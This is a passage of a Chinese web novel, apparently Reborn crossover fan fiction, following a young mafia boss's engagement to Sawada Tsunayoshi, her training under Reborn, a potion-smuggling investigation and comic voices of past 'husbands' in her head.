沢田纲吉用不赞同的眼神看着我:“所以你甚至没有搞清楚求婚对象的身份就一而再再而三的求婚么?”
诶?
我警觉:“您已经答应了不可以反悔!”
“而且我只是想要嫁给您而已,不管您是什么身份。”
是真话。
沢田纲吉看着她,有些头疼的想,这样的话就感觉不是让查尔斯劝一劝就能让这孩子妥协的情况了。
我说完后等了几秒钟,见他还是扶着额头垂眸沉思,脑子一抽凑了过去,将自己的脸塞到他的手臂和胸膛之间,与他对视。
他眼神惊诧,松手想要直起身。
我眼疾手快拉住他的衣领,先发制人:“沢田先生不会想拖延时间反悔和我的约定吧?”
他表情平静的将脑袋向后仰,拉开过于贴近的距离,有些无奈:“没有。”
虽然是又计划和那位教导者谈一谈,但已经答应的事情,如果没办法取消的话,他……还是会履行的。
直到现在他越发觉得这孩子缺少应有的教导与引导,导致追求感情的方式才会这样直白而冲动。
他被迫与那双圆溜溜的蓝眸对视,那张原本苍白的脸浮现出一小片自身都未察觉的红,执着的想要从他的表情上看出什么。
他虚虚圈着她的腰肢,低声劝哄:“回去坐好,这里很有很多人,对你的影响不好。”
还很容易摔倒。
沢田纲吉想到她脚上的伤,眉头微敛。
我眯起眼睛眼神犀利。
“你不会是不想让人发现我们的关系才这么说的吧。”
大骗子!
我猛地抬脸凑过去在他左脸亲了一下,伴随着周围若有似无的抽气声,我扬着下巴后退一步坐回去。
……没能坐回去。
我“嘶”了一声,捏住箍在腰间的手,在他陡然转冷的眼神中,气焰迅速被浇灭,声音越来越低:“松开,有点疼。”
说到最后一个字我怀疑几乎是含在嘴里没能发出声音。
但腰间的手放了下来。
我迅速坐下,忽然听到他低沉的声线。
“太不乖了阿一,看来查尔斯对你的教导没能真正教会你如何做一个矜持的淑女。”
我捂着嘴巴小声:“我是玛莲娜带大的,而且我是首领,不用当淑女。”
他声音顿了顿,紧接着说:“我会为你安排详细的课程,保证你在我们的婚礼之前能够学到一些有用的东西。”
详细的课程。
我可能要为嘴贱(各种意义上)付出代价了。
可能是不祥的预感愈演愈烈,我竟然对沢田先生口中婚礼都扔到了脑后。
随着我被扔到一间地下训练场,戴着礼帽鬓角卷曲的男人转身看向我:“ ciao ,黑川小姐。”
我看着他脚下一转,丝滑的撞上沢田纲吉的胸膛,肩膀随即被一只手固定。
我听见他说:“reborn,阿一就拜托你了,就像当初训练我那样,这孩子过于活泼了,请让她成为合格的索恩家族的首领吧。”
我没想到有一天身上会被按上活泼这个词。
但更不妙的是那个自带鬼畜气场的男人哼笑一声:“我下手可不会留情的。”
已经被我抗拒的脑门顶得微微凹下去的饱满胸膛轻颤几下。
沢田纲吉笑着说:“拜托了,这孩子交给你我很放心。”
我双目无神的看着厚重的金属门在我眼前合上,顶着潦草的头发转身,试图搞好关系:“您……您好,我是黑川一, reborn先生。”
“噗额!”
我身上一重,被他一只手按在了地上,只能像乌龟一样无力挣扎。
reborn的嘴角提了提:“要叫我老师。”
“是……reborn老师qaq。”
第110章
第110章
近日,彭格列位于意大利基地本部有些莫名,家族成员通常神情故作平静,细看之下却又带着令人不敢细想的兴奋。
饶是知道彭格列不是背信弃义之辈,周围来往的家族无一不暗中警觉,私下打探是不是最近有什么大动作。
卢修斯是道尔家族的一名小队长, 也是他最先察觉到彭格列的异常, 并且坚决认为身为意大利顶尖Mafia家族的彭格列这样行事,一定有不可告人的秘密。
道恩家族打探消息的动作意料之中的一无所获。
他巡视的街区正好与彭格列比邻, 因此获得了每日顺便打听消息的任务。
卢修斯坐在咖啡厅外的藤椅上,优哉游哉地望着碧蓝的天空,抿了口甜滋滋的卡布奇诺,轻轻喟叹。
“不是我不想上进啊,只不过在人家的地盘我一个人能干点什么呢?”
他推了推脸上的墨镜,悠闲的把今天的工作报告发出去,将卡布奇诺一饮而尽,起身准备下班。
“好吧, 最近也不算是一无所获,起码彭格列基地外的咖啡厅卡布基诺挺好喝的。”
他嘟嘟囔囔的转身,与迎面走来的一对男女擦肩而过,两人身上虽然没有明显标识,他视线隐晦的扫过两人的手指。
那戒指可不像是某些潮流单品。
卢修斯脚步一转自然二胺的坐了下来, 按住空掉的咖啡杯,朝茫然的店员微笑:“给我再续一杯卡布奇诺。”
店员逐渐凶狠起来的眼神重新完成两道月牙, 熟练地扯出亲切的微笑:“好的, 您稍等。”
卢修斯靠坐在椅子里,不着痕迹的观察那对同事……兄妹?嘶,总不能是情侣吧。
他将脑子里突然出现的念头抛下,竖直了耳朵想要听一听他们在说什么,说不定能抓到一些蛛丝马迹。
谁知他脖子都快僵硬了,那边还在你来我往说一些没有营养的话。
他端起新上的卡布奇诺在店员的死鱼眼中豪迈的一饮而尽,垂下来的脸上全是恨铁不成钢。
你们就不能多点事业心吗?啊!
回答我!
他有点想走,却不甘心放弃这段时间蹲到的第一对线索,只能咬牙坚持。卢修斯鬼鬼祟祟的看着原本相对而坐的两人逐渐靠近,不一会儿就坐到一边去了,精神一震,终于要说些见不得人的事了吗。
面容清秀脸色苍白的少女,随意笑着说:“这应该是彭格列的大事吧,居然可以随便采纳我的建议吗?”
卢修斯心跳加快,鼻孔翁张。
果然是有大事!
看起来十分稳重英俊(比他就英俊一点点吧)的棕发男人在少女看不见的地方微微勾唇,十分游刃有余:“其他的事情就算了,这件事你当然可以全权负责。”
“想要低调就低调一些吧,反正迟早也要主理事务,同盟家族早晚会认识你的。”
居然还涉及同盟家族!
果然是大事!
卢修斯听到这里兴奋散去,不禁屏住呼吸,开始为想道尔家族担心起来。
他猛然站了起来,脸色异常严肃,不行,他要马上将消息传回家族,早做打算!
“诶——沢田先生不会是想要隐瞒下来,等时机成熟悄无声息的和我的分开吧?”
卢修斯精明的眼睛倏然睁大,将不着痕迹观察着她的店员吓了一跳,还以为这为举止奇怪的客人突发恶疾了,紧绷着看了他好一会儿。
她她她居然凑过去亲了棕发男人一口! !
她喊那人什么来着?
沢田先生? !
他眼前一黑,眼神更加幽深,那位相比就是彭格列的十代目了,没想到两人居然真的是情侣关系!
而这位名声极好的十代目不仅仅和部下在暗中密谋什么大事,而且还是个对女人不负责任的渣男!
卢修斯头皮发麻的转身,尽量以正常速度离开两人视线范围之后,将两条腿跑出残影。
这绝对就是首领想要的内幕消息!
他知道了这么多还呆在彭格列的地盘十分危险。
跑了一会儿,他拐进一处小巷扶着膝盖大口喘气,随后捂着胸口靠在墙上掏出手机联系司机:“差不多够远了吧。”
他挂断电话之后继续往巷子深处走。
一路上隐藏在暗中的视线不断从他身上扫过,又在触及枪身道尔家族的标识之后收了回去。
卢修斯放松的一口气又提了上来,左右看了看,最终选定人最少的地方去了。
他避开幽暗处寒光凛凛的铁钉,利用障碍物挡开戏耍般在身上晃荡的红点,钻进了最深处的巷道。
甫一进去,他喘了口气:“这不是无主之地吗?今天怎么人多得跟旅游景点一样。”
一阵带着硝烟与铁锈气息的风迎面吹来将他钉在原地。
刚才在狙击枪下微湿的衬衫这下彻底湿透,他领口一紧,被人提了起来,手腕也被扭了一下,连拔枪的力气都没有了。
身形能够将他轻而易举笼罩的壮汉俯视着他,话却是对着另一边说。
“这鹌鹑不会是二位带来的人吧?”
卢修斯这才发现想这巷子里的人比想象中还要多,站在壮汉身后的部下几乎将一半的空间填满,都是身材健壮腰间鼓起的亡命之徒。
抓住他的壮汉说的是站在巷道另一头的两道身影。
他们的身形被墙壁投下的阴影笼罩,看不清表情,不过被这群人找上门来,因该也和他境遇差不多。
卢修斯有些绝望了,今天的心情几次大起大落,没想到没等到带着消息返回家族,却因为不谨慎撞上杀身之祸!
早知道……早知道他就不……算了,他了解自己,当看到那两人手上的戒指之后,他还是会凑上去探听。
他那该死的好奇心。
“嗯?不回答不会是吓傻了吧?如果不是你们的人我就先让兄弟处理了再来谈我们的事。”
我看着壮汉身上鼓胀虬结将背心撑成小一号肚兜的肌肉,摸摸加快了咀嚼的速度,插在兜里的右手握住冰凉的护手。
“晚上的菜单我申请修改。”
并肩而立的沢田纲吉闻言低头:“前天不就吵着要吃?”
我咽下口中甜丝丝的面包,义正言辞:“对于一个刚出任务回去的女孩子,吃不下荤腥是很正常的!这次的我就忍痛让给他们吧。”
沢田纲吉有些忍俊不禁,经过一个多月的魔鬼训练,她的下巴更尖了,皮肤虽然还是苍白但多了些健康的光泽。
尤其是那双横过来的雾蓝眸子,实在像一只圆滚滚拿乔的小黑猫。
他抬起手,抬到一半忽然想到现在正在执行的是reborn交给她的任务,不是合适的时候。
他有些遗憾的收手,掌心却被毛茸茸的发顶蹭了一下,没等给他机会更多机会,身量纤细的少女已经越过他走到前方。
他愣了一下,看着她的背影,指尖不自觉想要摸一摸一触即离之后仍然微微发痒的掌心,轻点之后却不自觉抬手嗅了嗅。
就算知道那样短暂的触碰不可能留下什么,他似乎还是闻到了一股甜甜的橘子味。
沢田纲吉垂手,分心关注着那孩子灵巧的身形,一边想她为什么不用他准备的洗发露,是不喜欢吗?还是不喜欢牛奶味?
他听说现在的女孩子都喜欢那个牌子。
她喜欢的橘子味洗发水似乎买不到,择优录取的这瓶除了味道,反而让小猫柔软顺滑的黑色毛发变得有些绒绒的。
虽然也挺可爱的。
他身上忽然落下一道存在感强烈的视线,循着视线望去,正对上被绑得结结实实的卢修斯看变态的眼神。
卢修斯认出来两人之后,心中喜悦。
原本还希望那位上去帮帮忙,谁知那位十代目不仅仅让一个女孩子孤身一人上去打打杀杀,竟然还偷偷闻摸了她头发的手!
他瞪着眼睛:变态啊!
沢田纲吉回了个温和安抚的笑。【你现在阅读的是 】
110-120
第111章
彭格列与其他家族的交汇地带有一处被有意无意空出来的无人管辖地带。
那里住着生活贫困的贫民,刀口舔血的亡命之徒,醉生梦死的赌徒,以及理所当然的势力混杂的黑手党。
每一条无人在意的巷道都充斥着血腥和暴力与呕吐物,天色渐渐暗沉下来,白日龟缩在阴影当中的影子到了活跃的时候。
本来是这样的。
一双双惨白的凶恶眼瞳不约而同看向“乐园”的最深处, 那里今天来了一帮不好惹的家伙, 游走在危险边缘的家伙们拥有最灵敏的嗅觉。
他们互相对视一眼,又重新在暗流涌动之中隐入黑暗。
“空气中的铁锈味加重了。”
不知从何传来的声音飘忽着消失在空气中。
他们透过缝隙看向寂静异常的最深处, 眼神闪过畏惧。
那一定是一场单方面的屠戮。
到底是什么样的杀神来了他们的地界,也不知道黑市悬赏有多高。
我挥出最后一刀落在地上,鞋跟与地面发出轻响,混合着些许湿濡,低头看了看从不远处倒在地上的尸体身上流出的鲜血正好流到脚下,沾湿了皮鞋鞋底。
“恶……”
我跳开到一边,轻甩手中的长剑,发出几声细微的机械声,经过强尼二改造的武器重新变成雕刻着索恩族徽的精巧手柄。
我抬脚看了看:“还是第一次穿呢。”
【**:#¥*终于对了。 】
【**:不就是一双鞋老子给你买多少都行。 】
【 ** :这是什么? 】
【**:……小一? 】
我观察鞋底的动作一顿,警觉抬眼往四周能够藏人的地方环视一圈,除了住得近的房子里瑟缩的人影,没发现任何蛛丝马迹。
幻听?
我打开系统面板看着除了投诉之外没有其他用处的版面,又面无表情的关上。
没有通知, 不是系统。
我站在层叠倒地的尸体当中,沉默两秒,总觉得那声音有些耳熟,又怎么也想不起来,呼之欲出的感觉令人烦躁。
“……有人在吗?”
“有有有!”
垂在身侧的手忽然被人托住,突然冒出来的青年单膝跪地, 恭敬的看过来。
“在下是卢修斯,不知道您在处理事务,非常抱歉。”
我垂眸看着他清秀又带着点谄媚的脸,沉默片刻,抽出手:“我知道了,没你的事,走吧。”
看着他欣喜离开的背影,我又补充一句:“下次不要随便到这里来了,很危险。”
卢修斯仓皇的背影踉跄了一下,猛然加快了离开的速度。
她绝对是察觉了,所以是在威胁我!
没听到吗?
我茫然的看着他迅速消失的巷口,肩膀被轻轻拍了拍,沢田纲吉不知何时已经来到我身后,正耐心的看着我。
他将人带着转了个方向:“任务结束了,我们回去吧。”
他将那一地狼藉隔绝在自己身后,颜色浅淡的薄唇想微勾,提议道:“听说南边有新开的游乐场,要去吗?”
我将刚才莫名奇妙的声音抛在脑后,绕过他朝地上的敌人走去,戴上手套开始在这些人身上翻翻找找,闻言头也不回的说:“可是今天还要去和老师汇报任务,而且查尔斯也该到了。”
“还有……你是不是忘了,今天是你的守护者全都聚集的日子。”
沢田纲吉游刃有余的表情有一瞬间的皲裂,在她看过来之前迅速恢复平静,心里头疼的想,就是因为那些家伙回来才暂时不想回去。
他抬脚朝蹲在地上的少女走去。
我把找出来的东西用透明袋子装了起来,脱下手套朝他摆摆手:“这是我的任务,你别再过来了。”
我面色凝重的拿着一张交易纪录,看着上面名为索林的快速恢复药剂,眼神凌厉的抿唇:“索恩要有麻烦了。”
·
“你是说有人用索恩制造的药剂在黑市当中高价倒卖?”
查尔斯宽大的身形塞进会议室的办公椅当中,拿着那张记录细细查看,也觉得有些不妙:“如果只是从索恩入手的话,这样大的需求量一定更加便捷划算,他们宁愿从这些商人手中购买想要干什么?”
索恩维持着家族运行的支柱产业就是医疗药剂。
索林作为秘方至今没有被破解的快速恢复药剂在黑手党齐聚的意大利向来不愁销路,但经过上任首领身死,伊利亚的入侵后,现在仍然处于岌岌可危的恢复期。
他对于任何发生在身边的非正常都抱着警惕。
我听过查尔斯的想法,心里稍微有了点底,查尔斯和我想的一样。
“关于这一点,”我转头面向reborn :“老师,您让我去执行这个任务,是有什么消息吗?”
reborn勾了勾唇,打开投影,指着出现的几人说:“这几个家族最近行动很异常,屡次违反彭格列制定的条约,似乎有解除盟约脱离彭格列的意思。”
我睁大眼睛,看着那几人想阴沉沉的眉眼,通过最近的恶补认了出来。
“买药剂的就是他们?”
我有点感动:“ reborn老师你竟然为了我提前探查了这么多。”
reborn拨弄列恩的动作一顿,在另一个愚蠢的弟子微笑的注视下,斜了她一眼:“不,只是不能让这些得了彭格列的好处就想一跑了之的老鼠们离开的这么轻易,才稍微查了一下。”
我震惊的睁大眼睛在沢田先生和reborn老师之间来回移动。
不愧是reborn老师!
比起更加内敛温柔的沢田先生, reborn老师简直就是小孩子想象中的那种总是穿着得体西装,帅气冷酷的黑手党!
沢田纲吉不用她说就从眼神中知道她在想什么,面不改色的转移话题,心里却有些微妙的不爽。
大概是想要亲手教导饲养的小猫居然自动跟着别人走的感觉?
不过reborn也是阿一的老师就是了,还是他亲自请求的。
他轻咳一声,直到那双雾蒙蒙的蓝眸落在身上,才继续道:“关于这几人我有些最新的消息。”
我眼神一亮。
沢田纲吉眼尾不着痕迹的上扬了一瞬:“昨天阿武在我们的管辖范围内抓了几个人,是其中一个家族的底层,没得到更多信息。”
“不过,我们拿到了一些索林药剂。”
我看了查尔斯一眼,开口:“可以把药剂交给我们的人检测吗?我们的药物研究团队是最了解索林的人,应该能加快进度。”
查尔斯欣慰的看着大小姐,果然答应的让她来彭格列是对的,她和以前已经不是一个人了。
想必离能够独当一面的首领也不远了。
他继续保持沉默,将主动权全部交给过分年轻就继任的少女。
沢田纲吉表情迟疑了一下,在她直勾勾的眼神中,缓缓开口:“那些已经被强尼二拿走了。”
我有些失望。
“但是。”
我重新抬眼看过去,沢田先生朝她轻笑一声,修长的手指交叠放在桌上,慢条斯理的安抚。
“我已经让人去他那里了,应该可以取出一部分还没有使用过的药剂。”
我兴奋的起身,越过中间的椅子,抓住他放在桌上的手指晃了晃,又和目瞪口呆的查尔斯和冷笑的reborn老师打了个招呼。
“这件事还是从药剂和这几个买家入手吧!我这就让人把东西送回去。”
我提起送过来的装着药剂的小箱子跑了出去。
彭格列基地外黑发青年斜斜地靠在树干上,叼着一根未点燃的烟,时不时朝门口看两眼,又收回去。
直到看到熟悉的身影朝外跑来,他才停下动作,冷漠的站在原地等着她过来。
“你……”叫我来干什么?
我一巴掌把怀里的药剂拍到他怀里,语速加快的说完事情经过,注视着他的眼睛,信任道:“现在这种时候,只有你亲自护送我才放心,米瑟尔。”
米瑟尔扯了扯唇角,本来还想嘲讽几句一声不吭消失好几天的少女,最终还是在那双眼里狠狠扭头:“我知道了。”
我歪头:“什么?”
他扔掉烟卷,大声道:“我知道了!现在就走,一定不会让它出事的。”
“……还有对不起。”
我:“为什么要说对不起?”
他烦躁的搓了搓头发,又不解气按上我的头,轻轻揉了两下:“啧,上次没跟上你,让你一个人翻进去了……还好你没出事。”
“我走了。”
他不自在的迅速离开。
我转身离开,又听到了奇怪的声音。
【**:嘁,臭小鬼。 】
【**:……又能说话了? 】
【**:你们好吵。 】
第112章
开完会之后, 我挥挥手送走欲言又止的查尔斯,假装没看见他脸上的复杂表情。
我偷偷看了一眼和自己一起出来的沢田纲吉。
他面不改色的接收来自查尔斯的眼刀,无视几人微妙的眼神,给索恩家来人送上一大份伴手礼。
“请您放心, 黑川小姐在这里很安全, 我会照顾她的。”
查尔斯在离开之前被自家大小姐暗示了一通,现在看着以前欣赏畏惧的彭格列十代目,怎么看怎么觉得不怀好意。
这小子看着浓眉大眼的,怎么就……
他宁中的视线忽然被朝这边偷偷眨眼的大小姐吸引。
大概是今天外出的原因,她穿了一条色泽非常漂亮的天蓝色修身长裙,领口从左肩剪裁开来,露出纤细的手臂……等等!
查尔斯瞳孔微颤,索恩家族遗传的苍白皮肤上蜿蜒着瑰丽的图腾,曾经在大小姐成年时亲眼看着纹身师纹上的图案,随着少女抬手的动作牵拉鼓起。
他看了看自家大小姐苍白纤细的面容, 又看了看露出来的肌肉线条漂亮的手臂, 心中的介怀似乎也少了点。
沢田纲吉并不是单纯的在安抚他们,到底也是在真的出力培养大小姐。
查尔斯满腹心事的走了。
马莲娜哼着民谣亲自将大小姐的房间里里外外打扫一遍,当时临时当做卧室的房间此焕然一新,不止地毯家具,就连头顶的水晶吊灯都被她与人一起一点点擦过。
亮起灯让房间亮了好几个度。
她捶了捶仰了好一会儿酸疼的脖子, 点好熏香,锁上门出去正好碰上大步经过的查尔斯。
她看了看他空荡荡的身后:“大小姐呢?”
查尔斯身形一顿,见到老伙计脸上露出一个牙疼的表情,饱经风霜的健硕身体在她面前的佝偻了一瞬,又轻咳一声站得挺直,说明了原委。
“那可是reborn先生,世界第一杀手,还教导过彭格列的十代目和加百罗涅的十代目,大小姐跟着他我们该放心。”
马莲娜若有所思的点点头,又冷不丁的说:“还有呢?”
两人对视了一会儿,查尔斯叹了口气:“还有大小姐要和那位十代目结婚,那位竟然也同意了。”
这话一出马莲娜果然脸色变了。
“天杀的彭格列,那明明是我们家的boss,过几天才十九岁,三十多岁的老帮菜居然想老牛吃嫩草,大小姐一定是被骗了,不行,不能就这样让大小姐一个人留在那里!”
她拽着查尔斯就往外走:“说什么我今天也要把人先带回来问清楚!”
查尔斯硬生生被她着踉跄了两步,叹了口气,两脚扎了个马步稳住身体,把急眼的人拽了回来。
“你等等!我已经问过了,这件事吧……是大小姐主动的。”
“虽然沢田纲吉年纪大了点,但人品还是信得过的,况且结婚之后,对我们也有好处。”
这些都是他回来路上想的。
马莲娜听了在他胳膊上邦邦拍了两巴掌:“首领才走几天,你居然就想要卖了大小姐!?”
“嘶!”
路过的成员悄悄加快脚步,深怕引火上身,低着头龇牙咧嘴的想,马莲娜那可是一个人能搬得动实木家具的壮士,查尔斯队长小山一样的肌肉上鲜红的巴掌印都要发紫了!
他们可受不了。
查尔斯深吸一口气,强忍住痛呼的冲动,不可置信。
马莲娜的力气什么时候这么大了? !
马莲娜看出了他的想法,冷笑一声:“我以前还顾着索恩的体面,现在情况不同了,老首领死了,大小姐既然继任,我自然也要有些力气和手段才能帮上忙。”
查尔斯额角跳了跳,忍气吞声:“可我说的都是实话,你既然能这么想,自然也能明白她现在已经不是我们保护的孩子了。”
马莲娜表情逐渐冷静。
他继续道:“这是boss的决定。”
说完后,他看马莲娜也没了冲去彭格列的想法,赶忙转身走了。
早知道不穿背心了,这两大紫巴掌印在隆起的大块肌肉上实在是有点显眼。
·
我轻轻哼着歌光着脚从浴室走了出来,嗅了嗅喷涌而出的热气当中夹杂了一股甜甜的蜂蜜牛奶的味道,手指摸了摸湿润的黑发。
“蜂蜜牛奶的好像是还不错?”
其实我也说不清为什么当时挑选的时候选择了橘子味,不过从现在开始,蜂蜜牛奶味道的洗发露成功夺冠。
我在房间里转了一圈,这里是沢田纲吉的住处,房间里的装潢和外面一样简单低调,不过墙上挂着的徽章以及衣柜里单独开辟的武器柜,都显示这里的不同。
我坐在床边擦着头发,视线从门上扫过,外面静悄悄的,沢田先生应该已经休息了。
今天下午找借口去做了个身体检查,□□练了一段时间的身体健康的很,也没有能力者力量残留的痕迹。
我打开死一样平静的系统面板,对着空气试探性的说:“有人在吗?”
我默默地数了三秒。
脑子里和系统面板一样安静,之前偶然出现的几道的声音像是我的幻觉。
我敲了敲脑袋,不会吧,幻听也不该是几道不同的声音啊。
我熟练的写了一篇投诉信投了出去。
不管怎么样一定还是系统的错。
“扣扣。”
我随手把系统面板扔到一边,边走边问:“谁呀?”
“是我,你休息了吗?”
我打开门让他进来,歪头询问:“您有事找我?”
在家中的沢田纲吉终于脱掉了各种各样的正装,穿了一身蓝色格纹家居服,棕色的发丝垂在额头,显得比实际年龄更小一点。
他端着一杯牛奶朝我示意了一下,棕色的眼睛里漾着浅笑:“对于已经三十出头的人来说,牛奶已经没什么太大作用了,不过我想你可能会喜欢。”
我对这个倒是不讨厌。
带着淡淡甜蜜气息的味道飘过来,装着乳白色液体的杯子贴心的放在我跟前,我偷偷凑近嗅了嗅。
“还加了蜂蜜?”
沢田纲吉抿唇忍住唇角的笑意,看着她小动物似的凑过来动了动鼻尖,还有些湿润的黑发扫过他的手腕,竟然生出了被毛绒绒蹭过手的错觉。
他把杯子往前递了递:“热牛奶的时候顺手加了。”
我接过杯子喝了一口,舌尖漾开的暖融融的甜意,眯着眼睛咕咚咕咚喝完一整杯:“好喝!谢谢啦。”
沢田纲吉闻到从她身上散发出的蜂蜜牛奶味,也莫名有些愉悦,接过杯子准备离开。
“那晚安,祝你好梦。”
我盯着他的背影,忽然想起什么跑回房间,又跑出来拽住他的衣角:“请把手伸出来一下。”
他闻言面上还有疑惑,但还是转身摊开掌心:“跑慢点,怎么了?”
我在他摊开的手上放了一颗糖果。
“谢礼。”
那颗包裹着闪亮亮的橙色糖纸的糖果躺在对它来说过于宽大的掌心,孤零零的有些反差的可爱。
沢田纲吉不自觉微笑,收拢掌心,将小小巧的糖果握住:“这是阿一送我的第一个礼物,我会怀着感激的心情品尝的。”
我被他的笑容蛊惑了一瞬,在暖黄的灯光下,即便他没有燃起死气之炎,却仍然散发着让人忍不住靠近的暖意。
“好厉害,难道这就是彭格列拥有这么多厉害部下的原因吗?”
那我不是从一开始就输了?
可恶,如果有实力强劲善良又聪明的部下一眼被我散发的人格魅力所打动,五体投地想要加入索恩就好了。
人格魅力这种东西可以教吗reborn老师——
【 ** :那种东西怎么样都好,但现在已经很晚了,你该回去锁上房门睡觉,而不是和一个老男人面对面发呆。 】
【 ** :小一还是这么可爱~哈哈哈,虽然不知道到底发生了什么,不过我们总有一天会见面的对吧? 】
【**:重点是这些吗?我觉得你应该让那个的过于壮硕的男人接你回家,就算要学习,单独和男人住在一起还是太危险了。 】
“……”
我心理活动戛然而止,惊恐地说:“你们听得见我在想什么?!”
不对,重点是我脑子里果然多了三个人!
沢田纲吉听了她的小声嘀咕,勾起不知是今天晚上第几次笑意,终于不再克制,第一次主动打破两人之间的安全距离,按住她的头发,手指慢条斯理从发根一点点顺到脑后。
心里诡异地有种终于撸到路边小猫的满足感。
可惜不知道是不是吓到她了,小猫突然慌慌张张的跑了个没影。
他狐疑的举着修剪整齐的手指看了会儿。
“挂到头发了吗?”
我跑进房间砰的一声关上门,又在其中一道声音的念叨下不得不重新过去把门反锁。
我表情凝重的坐在书桌前,深吸一口气:“我想我们该谈谈。”
我屏息等待,脑子里果然传来回应。
那道格外张扬每次都第一个冒出来的声线果然立即响应。
【**:呵呵我想也是。 】
紧接着是一道带着点担忧的青年音。
【 ** :今天已经发生了很多事,我们可以明天再谈,虽然我也不是很清楚发生了什么……但是我很想你。 】
最后一道嗓音非常冷淡,但说出了不得了的话。
【 ** :啧,不要随随便便在别人妻子的脑袋里面胡言乱语,我提议你们都闭嘴。小一,我也想知道发生了什么……为什么只有我还记得你。 】
妻子? !
我目瞪口呆的听着第三人轻飘飘一句话瞬间引起了颅内格外热闹的骂战。
……【这明明是我的老婆! 】【你们是不是认错了,小一是我的爱人才对。 】【呵呵有妄想症建议去看看】【光顾着骂他忘记骂你了,你也是,随便在我老婆脑袋里干嘛! 】【要不是老子术式失误,怎么可能让你们蹭上来! 】【来历不明的人不要插手我的家事! 】……
我捂着脑袋以及巨大的信息量扑通一下倒进床铺,感觉有三百只鸭子在脑子里互啄,满脸惨白的狂戳系统面板投诉。
这一次系统那边的反馈很快。
我眯着眼睛尽量忽略三道越来越嘈杂的声音,慢慢读出回复:“基于整合资源节省人力的初衷,我司正在将各个平稳的小世界尝试合并共同管理,期间可能会对该世界工作人员造成幻听幻视等微弱干扰,请各位放平心态积极任务。”
“……”
哈哈,是幻听啊,那没事了。
我安详地躺在床上过了会儿又满脸狰狞的重新爬起来,又不可置信的读了三遍。
最终在这篇公事公办的回复当中只看到一句话:小问题,自己解决。
微弱干扰指的是我脑袋里已经乱成一锅粥的场面吗?
幻听指的是脑子里以我老公自居的三个风格各异的男人吗?
如果不是我的理想时提早退休我就信了。
以公司大化小小化无的尿性,我忽然生出一个可怕的想法,首先我分配到的是先婚后爱系统,不管什么开局,都必须完成结婚的前置任务。
其次我对这次任务开始之前的事情竟然没什么印象,前辈带来任务的场景似乎已经是很早之前了。
最后……
我深沉的捂住脸颊,露在外面的耳朵通红,满脸崩溃的让他们被别吵了。
“别吵了别吵了,我真的不想知道我是睡着的时候最可爱还是工作的时候最可爱还是什么时候!!!你们都不会害羞吗?”
“我的头好痛!”
脑海里的声音顿时安静下来。
也不知道他们会存在多久,一直不管也不是办法,而且如果真的是我做过任务的目标人物的话,我把自闭的表情埋进被子里。
还是第一次听说公司的任务是会封印记忆的,不过仔细想想也比较合理。
但现在的情况是原本不可能见面的“前夫”们居然以一种可怕的方式见面了。
这里是地狱吗? !
我在被憋死之前发出虚弱的声音:“总之,大家也算是认识了吧,先做个自我介绍怎么样?”
几人沉默了一会儿。
【 ** :我就说她不记得了,你们能出现真是多亏了老子,如果还有点自知之明的话还是赶紧退出吧。以及我是五条[哔哔] 。 】
【 ** :? ?我是五条[哔哔] 。 】
【 ** :啧,我就不信了,我是[哔哔] ! 】
我:“噗!”
我及时在他炸毛之前捂唇,脑子里突然冒出一个名字,双眸一亮:“啊!有了,我知道你叫什么了!”
【 ** :小一想起来了么? 】
【**:那我的名字还记得吗? 】
【**:老子绝对是特殊的!你们俩识相一点。 】
我信誓旦旦的说:“砂糖!你是五条砂糖!不会错的。”
【 ** :五条君的名字这么可爱吗? 】
【**:原来如此,这种名字印象的确会比较深刻呢。 】
过了好一会儿,我自信的表情逐渐变得犹豫,尴尬道:“我说错了?”
从我叫出名字之后就一直沉默的张扬男音再次出现。
【五条:算了,勉强原谅你了,一定是有什么东西在搞鬼,你等着我去揪出来,在那之前就允许你叫我阿娜达好了。 】
我一时间不知道是先为系统哀悼,还是该心疼自己。
我无视他,坚强的得到了另外两人的名字。
果然都是只能听到姓氏。
我在床上摆出正襟危坐的姿势,诚恳道:“我没有关于你们的记忆,非常抱歉。”
“你们是不是找错人了。”
虽然偶尔也会觉得有什么不对劲,但如果有一天有人告诉我,我实际上已经顺利完成三个世界的任务,我绝对会认为对方在开玩笑。
我几斤几两自己还不知道吗?
坐在软乎乎的床面上,我的身体也不控制软了下去,从正襟危坐转变为一只手托着下巴:“你们要找的如果是我的同事,我可以帮忙问问,不过不要抱太大希望哦。”
好像很少听说有同事和任务目标在一起的。
我打开论坛,搜索相关词条,结果出来一堆鬼哭狼嚎。
被顶在最上面的热帖名为【你是我到不了的罗马[酒杯],我是你得不到的牛马[心碎][红裙跳舞小人]】
我控制不住好奇心点了进去,在满屏的发疯中,找到了少量的文字。
楼主:啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊一人我饮酒醉,我是午夜伤心的玫瑰,我应在江湖悠悠恍恍惚惚,快哉快哉,今天本来是我攒够了钱挽着老公退休的第一天,呵呵呵,结果真是让笑得让小生挥刀自宫变成小女子啊啊啊啊!狗公司我恨你!主系统你出来受死!
1L:散了吧散了吧,又疯一个。
2L :楼主看着的年纪不大,文案还挺新潮,偷了。
3L:哈哈哈哈哈恭喜本司又多受害者一名。
…
57L :爬到最后一楼,怎么你们都知道发生了什么,有人给我讲讲吗?
58L:哟,舔舔新人。
楼主:舔舔新人。
60L :舔舔新人,其实也没什么,让楼主讲吧,哎。
楼主:呵呵呵,受害者在此警告新人不要把工作带到生活中,不论你在小世界和目标多蜜里调油,脱离后在任务完成之前,你不会有记忆,对应的任务目标乃至所在的小世界都会将你的存在抹去。
楼主:你懂吗! ?辛辛苦苦打工赚钱,辞职报告递上去之后,发现对象连孩子都有了的痛苦! ?
楼主:啊啊啊啊啊我恨你狗系统! !
64L:好惨……
65L :(惊恐)你完成任务后不和人联系吗?速度这么快!
楼主:……我以为我们心心相印,离开之前我让他等我,他答应了,本来先给他一个惊喜(虚弱)
楼主:辞职报告时上午打的,入职时下午办的,呵呵。
楼主:从今天开始姐封心锁爱。
69L:真的吗我不信。
70L:楼上少说点,楼主已经够难过了,@楼主,我在的A11区,出来我带你兜风散散心?
楼主:(脸红)不好吧。我有门禁,要在十一点之前回家。
71L:那算了。
楼主:(裂开)(裂开)
——————此贴已被楼主申请删除禁止回复——————
我:“……”
好惨。
算了,想了想我的情况也没好到哪儿去。
我在自己眼前晃了晃手机:“情况大概就是这样,所以只能尽力帮你们找人奥。平时不要打扰我任务就行了。”
【五条[哔哔] :……老子可不是一般人,早就察觉异常了。还有我绝对不会认错老婆! 】
【日向[哔哔] :虽然是被……之后才想起来的,但这点我能确认。一个人辛苦这么长时间,成长了好多啊小一。 】
